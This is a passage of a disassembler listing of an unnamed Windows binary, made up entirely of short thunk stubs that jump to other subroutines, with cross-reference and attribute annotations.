R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF4 proc near ; CODE XREF: ___:0041433Cp jmp sub_414430 sub_401BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF9 proc near jmp sub_40C440 sub_401BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BFE proc near ; CODE XREF: sub_425100+8Bp jmp sub_424920 sub_401BFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: ___:0040B1FEp ; sub_40B250+34p ... jmp sub_40BEB0 sub_401C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C08 proc near ; CODE XREF: sub_40B190+5Cp jmp sub_40BD50 sub_401C08 endp ; --------------------------------------------------------------------------- jmp loc_433AB0 ; --------------------------------------------------------------------------- jmp loc_432410 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: sub_431DC0+20p ; sub_431EF0+20p ... jmp sub_431980 sub_401C17 endp ; --------------------------------------------------------------------------- jmp loc_430020 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C21 proc near jmp sub_435AA0 sub_401C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: sub_4138B0+84p ; sub_434D10+3Cp ... jmp sub_434C30 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; CODE XREF: ___:0042D7C8p jmp sub_42C350 sub_401C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C30 proc near ; CODE XREF: sub_42BB00+446p jmp sub_42B8E0 sub_401C30 endp ; --------------------------------------------------------------------------- jmp loc_41B720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: ___:00432546p ; sub_4344C0+23p jmp sub_432DB0 sub_401C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3F proc near ; DATA XREF: ___:off_43F12Co jmp sub_4292E0 sub_401C3F endp ; --------------------------------------------------------------------------- jmp loc_41FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C49 proc near ; CODE XREF: sub_41B0E0+8p ; ___:0041B49Dp ... jmp sub_41A110 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p jmp sub_42B420 sub_401C4E endp ; --------------------------------------------------------------------------- jmp loc_41AE80 ; --------------------------------------------------------------------------- jmp loc_416A90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C5D proc near ; CODE XREF: sub_40BE70+1Fp jmp sub_40BFA0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: sub_415B00+9p ; sub_415C20+18p jmp sub_4166D0 sub_401C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C67 proc near ; CODE XREF: sub_418D50+4p jmp sub_419070 sub_401C67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4073C0+11p ; ___:004073E7p ... jmp sub_407570 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_404CC0+111p ; sub_40D660+42p ... jmp sub_40A2D0 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0041326Ap ; sub_4132F0+3Cp ... jmp sub_4158D0 sub_401C76 endp ; --------------------------------------------------------------------------- jmp loc_42FCB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C80 proc near ; CODE XREF: sub_4269A0+69p jmp sub_426B10 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C85 proc near ; CODE XREF: sub_40B600+2Fp ; sub_40B600+6Ep ... jmp sub_40BE40 sub_401C85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: ___:00430078p ; ___:0043008Dp ... jmp sub_433FB0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_415450+11p ; sub_415ED0+1Fp jmp sub_4160C0 sub_401C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C94 proc near ; DATA XREF: ___:0043F0D4o jmp sub_41D930 sub_401C94 endp ; --------------------------------------------------------------------------- jmp loc_419A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C9E proc near ; CODE XREF: sub_4073C0+9p ; sub_418E80+18p jmp sub_407610 sub_401C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CA3 proc near ; CODE XREF: sub_4132C0+3p ; ___:00416C3Bp ... jmp sub_4132F0 sub_401CA3 endp ; --------------------------------------------------------------------------- jmp loc_40B8F0 ; --------------------------------------------------------------------------- loc_401CAD: ; DATA XREF: ___:off_43F05Co jmp loc_416D90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CB7 proc near ; CODE XREF: ___:00416F6Ap jmp sub_4182B0 sub_401CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_415BA0+Cp ; sub_415BA0+43p jmp sub_4166A0 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_4096E0+45p jmp sub_4099C0 sub_401CC1 endp ; --------------------------------------------------------------------------- jmp loc_434430 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_410030+3A4p jmp sub_40A0E0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4077E0+6BEp ; ___:00407F45p ... jmp sub_407740 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near ; CODE XREF: sub_415500+14p ; sub_415540+9p ... jmp sub_416190 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; CODE XREF: sub_4096E0+144p jmp sub_409A50 sub_401CDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE4 proc near ; CODE XREF: sub_404690+1C2p ; sub_404B60+36p ... jmp sub_4134A0 sub_401CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CE9 proc near ; CODE XREF: sub_4151C0+34p ; sub_415C20+67p jmp sub_415DC0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CEE proc near jmp sub_409B80 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; DATA XREF: ___:0043F06Co jmp sub_41FD00 sub_401CF3 endp ; --------------------------------------------------------------------------- jmp loc_42F3A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CFD proc near ; CODE XREF: sub_40BF70+5p jmp sub_40C1D0 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D02 proc near ; CODE XREF: ___:0043242Fp jmp sub_430520 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_421E50+11p ; ___:00421E77p ... jmp sub_422400 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D0C proc near ; DATA XREF: ___:0043F048o jmp sub_4132C0 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D11 proc near ; CODE XREF: sub_415890+1Fp jmp sub_416220 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D16 proc near ; CODE XREF: sub_40F6D0+1ACp ; sub_40F6D0+1EDp ... jmp sub_40F660 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_413E70+15Cp jmp sub_414160 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404C70+23p ; sub_410030+13C2p jmp sub_412BF0 sub_401D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D25 proc near ; CODE XREF: ___:00416F2Fp jmp sub_418150 sub_401D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D2A proc near ; CODE XREF: sub_407590+7p ; sub_40C2E0+7p ... jmp sub_407630 sub_401D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2F proc near ; CODE XREF: sub_40A8F0+1Ap ; sub_40A9A0+4p ... jmp sub_40A960 sub_401D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D34 proc near ; CODE XREF: sub_404690+289p ; sub_404690+2ADp ... jmp sub_40A180 sub_401D34 endp ; --------------------------------------------------------------------------- jmp loc_4305A0 ; --------------------------------------------------------------------------- loc_401D3E: ; DATA XREF: ___:0043F154o jmp loc_4295B0 ; --------------------------------------------------------------------------- jmp loc_42F970 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D48 proc near jmp sub_404010 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_4120B0+123p ; sub_4120B0+1E2p jmp sub_412780 sub_401D4D endp ; --------------------------------------------------------------------------- jmp loc_41B570 ; --------------------------------------------------------------------------- jmp loc_40B870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_421D80+5p jmp sub_4222E0 sub_401D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D61 proc near ; CODE XREF: sub_415F70+5Fp jmp sub_416790 sub_401D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_41D930+2C7p jmp sub_42FD30 sub_401D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D6B proc near ; CODE XREF: sub_418CA0+7p jmp sub_418F40 sub_401D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D70 proc near ; CODE XREF: sub_413740+5Dp ; sub_413740+9Bp ... jmp sub_415420 sub_401D70 endp ; --------------------------------------------------------------------------- jmp loc_437390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7A proc near ; CODE XREF: sub_415820+14p ; sub_415860+9p ... jmp sub_4164E0 sub_401D7A endp ; --------------------------------------------------------------------------- jmp loc_40B960 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D84 proc near ; CODE XREF: sub_4341C0+98p jmp sub_431950 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_421C60+14p ; sub_421CA0+9p ... jmp sub_4222B0 sub_401D89 endp ; --------------------------------------------------------------------------- jmp loc_42DAD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D93 proc near jmp sub_41C490 sub_401D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D98 proc near ; CODE XREF: sub_418AB0+14p ; sub_418AF0+9p ... jmp sub_418E20 sub_401D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_413740+53p ; sub_413740+91p ... jmp sub_415270 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA2 proc near ; CODE XREF: sub_422B40+56p jmp sub_426B90 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap jmp sub_426A90 sub_401DA7 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB1 proc near ; CODE XREF: sub_429330+81p jmp sub_428DC0 sub_401DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_415770+11p ; sub_416220+1Fp jmp sub_416410 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: sub_415230+14p ; sub_415270+9p ... jmp sub_415E40 sub_401DBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC0 proc near ; CODE XREF: ___:004147E3p jmp sub_4145A0 sub_401DC0 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_425DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_428260+90p jmp sub_428810 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD4 proc near ; CODE XREF: ___:0042C468p jmp sub_42C1B0 sub_401DD4 endp ; --------------------------------------------------------------------------- jmp loc_4141F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DDE proc near ; CODE XREF: sub_434AD0+74p jmp sub_432AE0 sub_401DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_41FB90+1Dp jmp sub_40B150 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DE8 proc near ; CODE XREF: sub_40AAD0+45p jmp sub_40AD50 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DED proc near ; CODE XREF: ___:0043062Dp ; ___:00430752p ... jmp sub_432C80 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF2 proc near ; CODE XREF: ___:00426F24p jmp sub_4281A0 sub_401DF2 endp ; --------------------------------------------------------------------------- jmp loc_432D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: sub_410030+AE7p ; sub_410030+E5Dp jmp sub_41EF70 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E01 proc near ; CODE XREF: sub_40AD80+Ap jmp sub_40AE70 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E06 proc near ; CODE XREF: ___:00416B3Bp ; ___:0043B27Aj ... jmp sub_417BE0 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E0B proc near ; CODE XREF: sub_421F80+4p jmp sub_422420 sub_401E0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E10 proc near ; CODE XREF: sub_40C4E0+271p ; sub_425100+50p ... jmp sub_423760 sub_401E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E15 proc near ; CODE XREF: ___:0041627Ap jmp sub_416860 sub_401E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_415DC0+7p jmp sub_4165C0 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1F proc near ; CODE XREF: sub_41D930+19Bp jmp sub_42DA80 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_404CC0+835p ; sub_404CC0+B62p ... jmp sub_4129D0 sub_401E24 endp ; --------------------------------------------------------------------------- jmp sub_4132C0 ; --------------------------------------------------------------------------- jmp sub_429510 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E33 proc near ; CODE XREF: sub_415490+34p ; sub_415F70+67p jmp sub_416110 sub_401E33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: sub_413740+31p ; sub_4145A0+2Dp jmp sub_4153B0 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: sub_40CC90+1F1p ; ___:00423FBFp ... jmp sub_426930 sub_401E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E42 proc near ; CODE XREF: sub_4159F0+3p jmp sub_4164C0 sub_401E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E47 proc near ; CODE XREF: sub_404690+97p ; sub_404690+107p ... jmp sub_40A4A0 sub_401E47 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_426020 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: ___:00423DFAp jmp sub_423950 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: ___:00421E0Ap jmp sub_422310 sub_401E5B endp ; --------------------------------------------------------------------------- jmp loc_416E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E65 proc near jmp sub_4368D0 sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; DATA XREF: ___:off_43F098o jmp sub_4369E0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: ___:004337FFp jmp sub_4310A0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; CODE XREF: sub_4166A0+5p jmp sub_4168F0 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_404CC0+28Dp ; sub_41D930+6A3p jmp sub_40DC20 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_422510+5Fp jmp sub_422700 sub_401E7E endp ; --------------------------------------------------------------------------- jmp loc_419F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E88 proc near ; CODE XREF: sub_40F6D0+22p ; sub_411930+1Dp ... jmp sub_40AEA0 sub_401E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_40AAD0+112p ; sub_40AAD0+153p jmp sub_40ADB0 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o jmp sub_41B110 sub_401E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E97 proc near ; CODE XREF: sub_4156D0+3p jmp sub_416170 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E9C proc near ; CODE XREF: sub_427C50+1Ap jmp sub_427B10 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: ___:00416C0Bp ; ___:0043B1C4j ... jmp sub_4176E0 sub_401EA1 endp ; --------------------------------------------------------------------------- jmp loc_4331B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_4201F0+3Ap jmp sub_420400 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EB0 proc near ; DATA XREF: ___:0043F114o jmp sub_428260 sub_401EB0 endp ; --------------------------------------------------------------------------- jmp loc_433AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_416410+4p jmp sub_416810 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_415920+5Bp ; sub_4162C0+11p ... jmp sub_416510 sub_401EBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC4 proc near ; CODE XREF: sub_415740+5p jmp sub_4161F0 sub_401EC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC9 proc near ; CODE XREF: sub_424920+151p jmp sub_4248E0 sub_401EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: ___:00416BABp ; ___:0043B218j ... jmp sub_417930 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_4153B0+3p jmp sub_415E20 sub_401ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401ED8 proc near ; CODE XREF: sub_415100+11p ; sub_415140+13p ... jmp sub_415D70 sub_401ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EDD proc near ; CODE XREF: sub_421A60+14p ; sub_421AA0+9p ... jmp sub_422050 sub_401EDD endp ; --------------------------------------------------------------------------- jmp loc_418960 ; --------------------------------------------------------------------------- jmp loc_41C350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_418F90+18p ; sub_421DB0+9p jmp sub_419150 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EF1 proc near ; CODE XREF: sub_422640+Ap jmp sub_4227E0 sub_401EF1 endp ; --------------------------------------------------------------------------- jmp loc_41BD50 ; --------------------------------------------------------------------------- jmp loc_433BA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F00 proc near ; CODE XREF: ___:00416B0Bp ; ___:0043B2A4j ... jmp sub_417C20 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F05 proc near ; CODE XREF: sub_40A8F0+13p jmp loc_40AA30 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_41B160:loc_41B1ACp ; sub_41BA50+54p ... jmp sub_4199A0 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00414395p jmp sub_415570 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F14 proc near ; CODE XREF: sub_4157B0+34p ; sub_4162C0+67p jmp sub_416460 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: sub_4153D0+3p ; ___:00415B4Fp ... jmp sub_415E00 sub_401F19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F1E proc near jmp sub_412CE0 sub_401F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F23 proc near ; CODE XREF: sub_4131F0+4Dp jmp sub_415450 sub_401F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: sub_407140+5Cp ; sub_418F60+3p jmp sub_407360 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F2D proc near ; CODE XREF: ___:00419203p jmp sub_419270 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: ___:0040BFFAp jmp sub_40C330 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:0042C44Fp jmp sub_42C0A0 sub_401F37 endp ; --------------------------------------------------------------------------- loc_401F3C: ; DATA XREF: ___:off_43F08Co jmp loc_435B90 ; --------------------------------------------------------------------------- loc_401F41: ; DATA XREF: ___:00424194o jmp loc_423D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F46 proc near ; CODE XREF: ___:00416B6Bp ; ___:0043B250j ... jmp sub_417B40 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_413C40+99p jmp sub_413E10 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F50 proc near ; CODE XREF: sub_40B470+3Dp ; ___:0040BC0Dp ... jmp sub_40B7E0 sub_401F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p jmp sub_423820 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_404CC0+A38p jmp sub_4068E0 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o jmp sub_42C640 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F64 proc near ; CODE XREF: sub_413A80+72p jmp sub_413740 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_418430+5Fp ; sub_418A40+1Ap ... jmp sub_418AB0 sub_401F69 endp ; --------------------------------------------------------------------------- jmp loc_430290 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p jmp sub_42E5B0 sub_401F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F78 proc near ; CODE XREF: sub_40B600+4Bp ; sub_40B600:loc_40B68Bp ... jmp sub_40BF20 sub_401F78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F7D proc near jmp sub_41E500 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_40A510+142p jmp sub_40A8F0 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: sub_404690+35Dp ; sub_404690+39Ep jmp sub_404B60 sub_401F87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F8C proc near ; CODE XREF: sub_415ED0+9p ; sub_415F70+18p jmp sub_4167D0 sub_401F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp jmp sub_432ED0 sub_401F91 endp ; --------------------------------------------------------------------------- jmp loc_42C2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_427740+1Dp ; sub_427C90+1Dp ... jmp sub_4277B0 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp ; sub_429450+1Fp ... jmp sub_429120 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: ___:0042B063p jmp sub_42B090 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_406C20 ; --------------------------------------------------------------------------- jmp loc_40D540 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near ; CODE XREF: sub_4096E0+112p ; sub_4096E0+153p jmp sub_409A20 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_422700+5p jmp sub_422870 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_407390+5p jmp sub_407540 sub_401FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC3 proc near ; CODE XREF: sub_413740+6Fp ; sub_413740+DBp ... jmp sub_4153D0 sub_401FC3 endp ; --------------------------------------------------------------------------- jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_4152E0+6Ap ; sub_415CE0+32p jmp sub_415C20 sub_401FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD2 proc near jmp sub_40F100 sub_401FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD7 proc near ; CODE XREF: sub_412BF0+3p jmp sub_412C20 sub_401FD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near ; CODE XREF: sub_404690+48p ; sub_404690+5Dp ... jmp sub_409E00 sub_401FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE1 proc near ; DATA XREF: ___:off_43F090o jmp sub_419A50 sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p ; sub_41B140+9j ... jmp sub_41A210 sub_401FE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FEB proc near ; CODE XREF: sub_40BD90+34p ; sub_40C200+67p jmp sub_40C120 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_433980 ; --------------------------------------------------------------------------- loc_401FF5: ; DATA XREF: ___:off_43F094o jmp loc_436570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFA proc near jmp sub_40F180 sub_401FFA endp ; --------------------------------------------------------------------------- jmp loc_4375F0 ; --------------------------------------------------------------------------- loc_402004: ; DATA XREF: ___:0043F03Co jmp loc_41EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402009 proc near ; CODE XREF: sub_41F960+5Ap jmp sub_420040 sub_402009 endp ; 